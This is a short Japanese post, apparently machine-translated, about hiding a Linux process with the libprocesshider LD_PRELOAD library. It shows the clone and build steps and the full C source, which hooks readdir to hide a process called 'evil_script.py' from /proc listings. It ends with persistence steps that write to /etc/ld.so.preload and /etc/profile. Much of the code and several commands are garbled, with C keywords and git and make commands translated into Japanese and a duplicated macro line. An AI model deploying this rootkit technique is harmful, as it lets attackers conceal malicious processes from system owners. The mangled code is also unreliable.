Linux でプロセスを隠す方法と、遭遇する落とし穴

bmfxgkpt-yhd:~# git クローン https://github.com/gianlucaborello/libprocesshider.git
'libprocesshider' にクローンしています...
リモート: オブジェクトをカウントしています: 26、完了。
リモート: 合計 26 (デルタ 0)、再利用 0 (デルタ 0)、パック再利用 26
オブジェクトの解凍: 100% (26/26)、完了。
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# 作成
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <文字列.h>
#include <unistd.h>
/*
 * この名前のすべてのプロセスが除外されます
 */
静的 const char* process_to_filter = "evil_script.py";
/*
 * DIR* ハンドルを指定してディレクトリ名を取得します
 */
静的 int get_dir_name(DIR* dirp, char* buf, size_t サイズ)
{
  int fd = dirfd(dirp);
  もしfd == -1の場合{
    0を返します。
  }
  文字tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    0を返します。
  }
  バッファ[ret] = 0;
  1 を返します。
}
/*
 * PIDを指定してプロセス名を取得する
 */
静的 int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    0を返します。
  }
  文字tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  ファイル* f = fopen(tmp, "r");
  if(f == NULL) {
    0を返します。
  }
  (fgets(tmp, sizeof(tmp), f) == NULL)の場合{
    fclose() メソッド
    0を返します。
  }
  fclose() メソッド
  int 未使用;
  sscanf(tmp, "%d (%[^]s", &unused, buf);
  1 を返します。
}
#DECLARE_READDIR(dirent, readdir) を定義します \
静的構造体 dirent* (*original_##readdir)(DIR*) = NULL; \
構造体 dirent* readdir(DIR *dirp) \
{\
  if(original_##readdir == NULL) { \
    元の_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    if(original_##readdir == NULL) \
    {\
      fprintf(stderr, "dlsym でエラーが発生しました: %s\n", dlerror()); \
    } \
  } \
  構造体 dirent* dir; \
  (1) \ の間
  {\
    dir = original_##readdir(dirp); \
    if(dir) { \
      char dir_name[256]; \
      char プロセス名[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, プロセス名) && \
        strcmp(プロセス名, フィルターするプロセス) == 0) { \
        続く; \
      } \
    } \
    壊す; \
  } \
  ディレクトリを返す; \
}
READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

READDIR を宣言します。
DECLARE_READDIR(dirent、readdir);

シェルエコー /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
有効になりません。この時点で、環境変数shell bmfxgkpt-yhd:~# vi /etc/profileを設定する必要があります。
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so という行を追加します。